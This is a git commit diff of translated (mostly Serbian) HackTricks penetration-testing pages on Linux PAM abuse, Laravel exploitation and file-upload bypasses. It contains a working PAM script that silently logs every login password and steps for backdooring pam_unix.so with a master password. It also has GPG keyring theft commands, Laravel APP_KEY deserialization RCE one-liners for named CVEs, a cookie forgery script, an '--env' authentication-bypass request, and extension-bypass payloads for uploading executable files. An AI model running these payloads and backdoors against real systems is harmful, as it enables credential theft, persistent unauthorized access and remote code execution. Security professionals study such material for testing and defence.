Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/linux-h

This commit is contained in:
Translator 2025-09-08 01:06:24 +00:00
parent a6726a59d5
commit 498b21fa63
4 changed files with 566 additions and 428 deletions

View File

@ -4,22 +4,23 @@
## Sniffing Logon Passwords with PAM
Hajde da konfigurišemo PAM modul da beleži svaku lozinku koju korisnik koristi za prijavu. Ako ne znaš šta je PAM, proveri:
Konfigurišimo PAM modul koji će beležiti svaku lozinku koju korisnik koristi za prijavu. Ako ne znate šta je PAM pogledajte:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**Za više detalja proveri [originalni post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ovo je samo sažetak:
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Ovo je samo rezime:
**Pregled tehnike:**
Pluggable Authentication Modules (PAM) nude fleksibilnost u upravljanju autentifikacijom na Unix-baziranim sistemima. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizike ako se zloupotrebe. Ovaj sažetak opisuje tehniku za hvatanje prijavnih podataka koristeći PAM, zajedno sa strategijama ublažavanja.
Pluggable Authentication Modules (PAM) nude fleksibilnost u upravljanju autentifikacijom na sistemima zasnovanim na Unixu. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizik ako se zloupotrebe. Ovaj rezime prikazuje tehniku za hvatanje kredencijala za prijavu koristeći PAM, zajedno sa strategijama ublažavanja.
**Hvatanje podataka:**
**Prikupljanje kredencijala:**
- Bash skripta pod nazivom `toomanysecrets.sh` je napravljena da beleži pokušaje prijave, hvatajući datum, korisničko ime (`$PAM_USER`), lozinku (putem stdin) i IP adresu udaljenog hosta (`$PAM_RHOST`) u `/var/log/toomanysecrets.log`.
- Skripta je učinjena izvršnom i integrisana u PAM konfiguraciju (`common-auth`) koristeći `pam_exec.so` modul sa opcijama da se izvršava tiho i izloži autentifikacioni token skripti.
- Ovaj pristup pokazuje kako se kompromitovani Linux host može iskoristiti za diskretno beleženje podataka o prijavi.
- Napravljen je bash skript pod imenom `toomanysecrets.sh` koji beleži pokušaje prijave, snimajući datum, korisničko ime (`$PAM_USER`), lozinku (preko stdin) i IP udaljenog hosta (`$PAM_RHOST`) u `/var/log/toomanysecrets.log`.
- Skript je učinjen izvršnim i integrisan u PAM konfiguraciju (`common-auth`) koristeći `pam_exec.so` modul sa opcijama da radi tiho i da izloži token autentifikacije skriptu.
- Pristup pokazuje kako kompromitovani Linux host može biti iskorišćen za diskretno beleženje kredencijala.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -31,23 +32,50 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**Za više detalja pogledajte [originalni post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ovo je samo sažetak:
**Za više detalja pogledajte [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Ovo je samo rezime:
Pluggable Authentication Module (PAM) je sistem koji se koristi pod Linux-om za autentifikaciju korisnika. Operiše na tri glavna koncepta: **korisničko ime**, **lozinka** i **usluga**. Konfiguracione datoteke za svaku uslugu nalaze se u direktorijumu `/etc/pam.d/`, gde deljene biblioteke obrađuju autentifikaciju.
Pluggable Authentication Module (PAM) je sistem koji se koristi na Linuxu za autentifikaciju korisnika. Radi na tri glavna koncepta: **username**, **password**, i **service**. Konfiguracioni fajlovi za svaki service se nalaze u direktorijumu `/etc/pam.d/`, gde deljene biblioteke obrađuju autentifikaciju.
**Cilj**: Modifikovati PAM da omogući autentifikaciju sa specifičnom lozinkom, zaobilazeći stvarnu korisničku lozinku. Ovo je posebno fokusirano na `pam_unix.so` deljenu biblioteku koja se koristi u `common-auth` datoteci, koja je uključena u skoro sve usluge za verifikaciju lozinke.
**Cilj**: Izmeniti PAM tako da dozvoli autentifikaciju sa specifičnom lozinkom, zaobilaženjem stvarne korisničke lozinke. Ovo je posebno fokusirano na deljenu biblioteku `pam_unix.so` koja se koristi od strane fajla `common-auth`, koji je uključen u skoro sve servise za verifikaciju lozinke.
### Koraci za modifikaciju `pam_unix.so`:
1. **Pronađite Direktivu za Autentifikaciju** u `common-auth` datoteci:
- Linija odgovorna za proveru korisničke lozinke poziva `pam_unix.so`.
2. **Modifikujte Izvorni Kod**:
- Dodajte uslovnu izjavu u `pam_unix_auth.c` izvornoj datoteci koja omogućava pristup ako se koristi unapred definisana lozinka, inače se nastavlja sa uobičajenim procesom autentifikacije.
3. **Ponovo Kompajlirajte i Zamenite** modifikovanu `pam_unix.so` biblioteku u odgovarajućem direktorijumu.
1. **Pronađite direktivu za autentifikaciju** u fajlu `common-auth`:
- Linija odgovorna za proveru korisničkog password-a poziva `pam_unix.so`.
2. **Izmenite izvorni kod**:
- Dodajte uslovnu izjavu u izvorni fajl `pam_unix_auth.c` koja daje pristup ako se koristi unapred definisan password, u suprotnom nastavlja sa uobičajenim procesom autentifikacije.
3. **Rekompajlirajte i zamenite** izmenjenu biblioteku `pam_unix.so` u odgovarajućem direktorijumu.
4. **Testiranje**:
- Pristup se odobrava kroz razne usluge (prijavljivanje, ssh, sudo, su, screensaver) sa unapred definisanom lozinkom, dok normalni procesi autentifikacije ostaju nepromenjeni.
- Pristup je dodeljen na različitim servisima (login, ssh, sudo, su, screensaver) sa unapred definisanim password-om, dok uobičajeni procesi autentifikacije ostaju nepromenjeni.
> [!TIP]
> Možete automatizovati ovaj proces sa [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## Dešifrovanje GPG loot putem relokacije homedir
Ako pronađete enkriptovani `.gpg` fajl i korisnikov `~/.gnupg` folder (pubring, private-keys, trustdb), ali ne možete dešifrovati zbog permisija/zaključavanja GnuPG homedir-a, kopirajte keyring u lokaciju u koju se može pisati i koristite ga kao svoj GPG home.
Tipične greške koje ćete videti bez ovoga: "unsafe ownership on homedir", "failed to create temporary file", ili "decryption failed: No secret key" (jer GPG ne može da čita/piše originalni homedir).
Tok rada:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
Ako je materijal tajnog ključa prisutan u `private-keys-v1.d`, GPG će otključati i dešifrovati bez traženja passphrase-a (ili će tražiti ako je ključ zaštićen).
## References
- [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -4,14 +4,14 @@
### Laravel SQLInjection
Pročitajte informacije o tome ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
Više informacija ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
## APP_KEY & interni mehanizmi enkripcije (Laravel \u003e=5.6)
Laravel koristi AES-256-CBC (ili GCM) sa HMAC integritetom u pozadini (`Illuminate\\Encryption\\Encrypter`).
Sirov ciphertext koji se konačno **šalje klijentu** je **Base64 JSON objekat** poput:
Sirovi šifrat koji se konačno **pošalje klijentu** je **Base64 JSON objekta** kao:
```json
{
"iv" : "Base64(random 16-byte IV)",
@ -20,21 +20,23 @@ Sirov ciphertext koji se konačno **šalje klijentu** je **Base64 JSON objekat**
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` će po defaultu `serialize()` plaintext, dok će `decrypt($payload, $unserialize=true)` **automatski `unserialize()`** dekriptovanu vrednost. Stoga **bilo koji napadač koji zna 32-bajtni tajni `APP_KEY` može napraviti enkriptovani PHP serijalizovani objekat i dobiti RCE putem magičnih metoda (`__wakeup`, `__destruct`, …)**.
`encrypt($value, $serialize=true)` će podrazumevano pozvati `serialize()` nad plaintext-om, dok
`decrypt($payload, $unserialize=true)` **će automatski `unserialize()`** dekriptovanu vrednost.
Dakle, **bilo koji napadač koji zna 32-bajtni secret `APP_KEY` može da konstruše šifrovani PHP serijalizovani objekat i ostvari RCE preko magičnih metoda (`__wakeup`, `__destruct`, …)**.
Minimal PoC (framework ≥9.x):
Minimalni PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Ubaci proizvedeni string u bilo koji ranjivi `decrypt()` sink (parametar rute, kolačić, sesija, …).
Ubacite proizvedeni string u bilo koji ranjivi `decrypt()` sink (route param, cookie, session, …).
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatizuje ceo proces i dodaje praktičan **bruteforce** režim:
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automatizuje ceo proces i dodaje zgodan **bruteforce** režim:
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Skripta transparentno podržava i CBC i GCM payload-e i ponovo generiše HMAC/tag polje.
Skript transparentno podržava i CBC i GCM payloads i ponovo generiše HMAC/tag polje.
---
## Stvarni ranjivi obrasci
| Projekat | Ranjivi sink | Gadget lanac |
|----------|--------------|--------------|
| Projekat | Vulnerable sink | Gadget chain |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` kolačić kada je `Passport::withCookieSerialization()` omogućen | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` kolačić | Laravel/RCE15 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
Tok eksploatacije je uvek:
1. Dobiti ili brute-force-ovati 32-bajtni `APP_KEY`.
2. Izgraditi gadget lanac sa **PHPGGC** (na primer `Laravel/RCE13`, `Laravel/RCE9` ili `Laravel/RCE15`).
3. Enkriptovati serijalizovani gadget sa **laravel_crypto_killer.py** i povraćenim `APP_KEY`.
4. Dostaviti ciphertext ranjivom `decrypt()` sinku (parametar rute, kolačić, sesija …) da se aktivira **RCE**.
1. Nabavite ili brute-force-ujte 32-byte `APP_KEY`.
2. Sastavite gadget chain koristeći **PHPGGC** (na primer `Laravel/RCE13`, `Laravel/RCE9` ili `Laravel/RCE15`).
3. Enkriptujte serializovani gadget pomoću **laravel_crypto_killer.py** i pronađenog `APP_KEY`.
4. Dostavite ciphertext do ranjivog `decrypt()` sinka (route parameter, cookie, session …) da pokrenete **RCE**.
Ispod su sažeti jednolinijski primeri koji prikazuju ceo put napada za svaki stvarni CVE pomenut iznad:
Ispod su sažeti one-liners koji demonstriraju kompletan attack path za svaki real-world CVE pomenut iznad:
```bash
# Invoice Ninja ≤5 /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
@ -80,41 +82,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
---
## Masovno otkrivanje APP_KEY putem cookie brute-force
## Otkriće APP_KEY putem brute-force napada na kolačiće
Budući da svaki sveži Laravel odgovor postavlja najmanje 1 enkriptovani kolačić (`XSRF-TOKEN` i obično `laravel_session`), **javne internet skeneri (Shodan, Censys, …) otkrivaju milione cifara** koje se mogu napasti van mreže.
Pošto svaki svež Laravel odgovor postavlja bar 1 encrypted cookie (`XSRF-TOKEN` i obično `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** koje je moguće napasti offline.
Ključni nalazi istraživanja objavljenog od strane Synacktiv (2024-2025):
* Skup podataka jul 2024 » 580 k tokena, **3.99 % ključeva je probijeno** (≈23 k)
* Skup podataka maj 2025 » 625 k tokena, **3.56 % ključeva je probijeno**
* >1 000 servera još uvek ranjivo na legacy CVE-2018-15133 jer tokeni direktno sadrže serijalizovane podatke.
* Ogromna ponovna upotreba ključeva Top-10 APP_KEY-ova su hard-kodirani podrazumevani ključevi isporučeni sa komercijalnim Laravel šablonima (UltimatePOS, Invoice Ninja, XPanel, …).
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servera i dalje ranjivo na legacy CVE-2018-15133 zato što tokens direktno sadrže serialized data.
* Ogromno ponovno korišćenje ključeva Top-10 APP_KEYs su hard-coded defaults isporučeni sa komercijalnim Laravel template-ima (UltimatePOS, Invoice Ninja, XPanel, …).
Privatni Go alat **nounours** povećava AES-CBC/GCM bruteforce propusnost na ~1.5 milijardi pokušaja/s, smanjujući vreme potrebno za probijanje celog skupa podataka na <2 minuta.
Privatni Go alat **nounours** postiže AES-CBC/GCM bruteforce propusnost ~1.5 billion tries/s, smanjujući potpuno razbijanje skupa podataka na <2 minuta.
## Laravel trikovi
## CVE-2024-52301 HTTP argv/env override → auth bypass
### Debugging mod
Kada je PHP-ov `register_argc_argv=On` (tipično na mnogim distribucijama), PHP izlaže niz `argv` za HTTP zahteve izveden iz query stringa. Novije verzije Laravel-a parsiraju ove “CLI-like” args i poštuju `--env=<value>` pri runtime-u. Ovo omogućava promenu framework environment-a za trenutni HTTP zahtev samo dodavanjem parametra na bilo koji URL:
Ako je Laravel u **debugging modu** moći ćete da pristupite **kod** i **osetljivim podacima**.\
- Brza provera:
- Posetite `https://target/?--env=local` ili bilo koji string i tražite promene zavisne od environment-a (debug banners, footers, verbose errors). Ako je string reflektovan, override radi.
- Primer uticaja (business logic koji veruje posebnom env):
- Ako aplikacija sadrži grane poput `if (app()->environment('preprod')) { /* bypass auth */ }`, možete se autentifikovati bez validnih kredencijala slanjem login POST-a na:
- `POST /login?--env=preprod`
- Napomene:
- Radi per-request, bez persistencije.
- Zahteva `register_argc_argv=On` i ranjivu verziju Laravel-a koja čita argv iz HTTP zahteva.
- Koristan primitv za dobijanje detaljnijih grešaka u “debug” env-ovima ili za okidanje code paths koji su ograničeni environment-om.
- Mitigacije:
- Onemogućite `register_argc_argv` za PHP-FPM/Apache.
- Ažurirajte Laravel da ignoriše argv kod HTTP zahteva i uklonite bilo kakve pretpostavke poverenja vezane za `app()->environment()` u produkcionim rutama.
Minimalni tok eksploatacije (Burp):
```http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
```
---
## Trikovi za Laravel
### Debug režim
Ako je Laravel u **debug režimu** moći ćete pristupiti **kodu** i **osetljivim podacima**.\
Na primer `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Ovo je obično potrebno za iskorišćavanje drugih Laravel RCE CVE-ova.
Ovo je obično potrebno za eksploatisanje drugih Laravel RCE CVE-ova.
### Otkrivanje i izloženi dev endpointi
Brze provere za identifikaciju Laravel stacka i opasnih dev alata izloženih u produkciji:
- `/_ignition/health-check` → Ignition prisutan (debug alat koji se koristi u CVE-2021-3129). Ako je dostupan bez autentifikacije, aplikacija može biti u debug režimu ili pogrešno konfigurisana.
- `/_debugbar` → Laravel Debugbar resursi; često ukazuje na debug režim.
- `/telescope` → Laravel Telescope (dev monitor). Ako je javno dostupan, očekujte široko otkrivanje informacija i moguće akcije.
- `/horizon` → Queue dashboard; otkrivanje verzije i ponekad akcije zaštićene CSRF-om.
- Headeri X-Powered-By, kolačići `XSRF-TOKEN` i `laravel_session`, kao i Blade stranice sa greškama takođe pomažu pri fingerprintingu.
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
```
### .env
Laravel čuva APP koji koristi za enkripciju kolačića i drugih akreditiva unutar datoteke pod nazivom `.env` koja se može pristupiti koristeći neku putanju za prolaz pod: `/../.env`
Laravel čuva APP koji koristi za enkriptovanje cookies i ostalih credentials u fajlu nazvanom `.env` kojem se može pristupiti koristeći path traversal: `/../.env`
Laravel će takođe prikazati ove informacije unutar debug stranice (koja se pojavljuje kada Laravel pronađe grešku i aktivira se).
Laravel će takođe prikazati ove informacije na debug stranici (koja se pojavljuje kada Laravel pronađe grešku i kada je debug aktiviran).
Koristeći tajni APP_KEY Laravel-a možete dekriptovati i ponovo enkriptovati kolačiće:
Koristeći tajni APP_KEY iz Laravel-a možete dešifrovati i ponovo enkriptovati cookies:
### Dekriptovanje kolačića
### Decrypt Cookie
```python
import os
import json
@ -169,22 +214,22 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
```
### Laravel Deserialization RCE
Ranljive verzije: 5.5.40 i 5.6.x do 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Ovde možete pronaći informacije o ranjivosti deserializacije: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Informacije o deserialization vulnerability možete pronaći ovde: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Možete je testirati i iskoristiti koristeći [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ili je takođe možete iskoristiti sa metasploit-om: `use unix/http/laravel_token_unserialize_exec`
Možete ga testirati i exploit-ovati koristeći [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ili ga takođe možete exploit-ovati pomoću metasploit-a: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
Još jedna deserializacija: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
Još jedna deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
@ -194,5 +239,9 @@ Još jedna deserializacija: [https://github.com/ambionics/laravel-exploits](http
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf HTB Environment (CVE202452301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -17,11 +17,11 @@ Other useful extensions:
### Zaobilaženje provere ekstenzija fajlova
1. Ako se primenjuju, proveri prethodne ekstenzije. Takođe testiraj ih koristeći velika slova: _pHp, .pHP5, .PhAr ..._
2. Proveri dodavanje validne ekstenzije pre ekstenzije za izvršavanje (koristi prethodne ekstenzije takođe):
1. Ako se primenjuje, **proveri** **prethodne ekstenzije.** Takođe testiraj koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._
2. _Proveri **dodavanje validne ekstenzije pre** eksekutivne ekstenzije (koristi i prethodne ekstenzije):_
- _file.png.php_
- _file.png.Php5_
3. Pokušaj da dodaš specijalne karaktere na kraj. Možeš koristiti Burp da **bruteforce-uješ** sve ascii i Unicode karaktere. (_Napomena: možeš takođe pokušati da iskoristiš prethodno pomenute ekstenzije_)
3. Pokušaj dodati **specijalne karaktere na kraju.** Možeš koristiti Burp da **bruteforce** sve **ascii** i **Unicode** karaktere. (_Imaj na umu da možeš takođe pokušati da koristiš **ranije** pomenute **ekstenzije**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Pokušaj da zaobiđeš zaštite zavaravanjem parsera ekstenzija na serveru tehnikama kao što su dupliranje ekstenzije ili dodavanje beskorisnih podataka (null bajtova) između ekstenzija. _Možeš takođe koristiti prethodne ekstenzije da pripremiš bolji payload._
4. Pokušaj zaobići zaštite **zavaravanjem parsera ekstenzija** na server strani tehnikama kao što su **udvostručavanje** **ekstenzije** ili **dodavanje junk** podataka (**null** bajtovi) između ekstenzija. _Možeš takođe koristiti **prethodne ekstenzije** da pripremiš bolji payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,18 +40,18 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Dodaj još jedan sloj ekstenzija na prethodnu proveru:
5. Dodaj **još jedan sloj ekstenzija** na prethodnu proveru:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Pokušaj da staviš exec ekstenziju pre validne ekstenzije i nadaj se da je server pogrešno konfigurisan. (korisno za iskorišćavanje Apache misconfiga gde će sve što sadrži ekstenziju **.php**, ali ne mora nužno da se završava sa .php, izvršiti kod):
6. Pokušaj staviti **exec ekstenziju pre validne ekstenzije** i nadaj se da je server pogrešno konfigurisan. (korisno za eksploatisanje Apache misconfig-a gde će sve što ima ekstenziju **.php**, ali **ne mora nužno da se završava sa .php**, izvršavati kod):
- _ex: file.php.png_
7. Korišćenje NTFS alternate data stream (ADS) u Windows-u. U ovom slučaju, nakon zabranjene ekstenzije biće umetnut karakter kolon ":” pre dozvoljene ekstenzije. Kao rezultat, na serveru će biti kreiran **prazan fajl sa zabranjenom ekstenzijom** (npr. "file.asax:.jpg”). Ovaj fajl se kasnije može izmeniti koristeći druge tehnike kao što je korišćenje njegovog short filename-a. Pattern "**::$data**” može takođe biti upotrebljen za kreiranje ne-praznih fajlova. Zato dodavanje tačke nakon ovog pattern-a može pomoći da se zaobiđu dalje restrikcije (npr. "file.asp::$data.”)
8. Pokušaj da prekoračiš ograničenja imena fajla. Validna ekstenzija biva isečena. Maliciozni PHP ostaje. AAA<--SNIP-->AAA.php
7. Korišćenje NTFS alternate data stream (ADS) na Windows-u. U tom slučaju, karakter dvojne tačke ":" će biti ubačen posle zabranjene ekstenzije i pre dozvoljene. Kao rezultat, biće kreiran **prazan fajl sa zabranjenom ekstenzijom** na serveru (npr. "file.asax:.jpg”). Ovaj fajl može kasnije biti izmenjen koristeći druge tehnike kao što je korišćenje njegovog short filename-a. Pattern "**::$data**” takođe može biti korišćen za kreiranje ne-praznih fajlova. Stoga, dodavanje tačke posle ovog pattern-a može biti korisno za zaobilaženje daljih ograničenja (npr. "file.asp::$data.”)
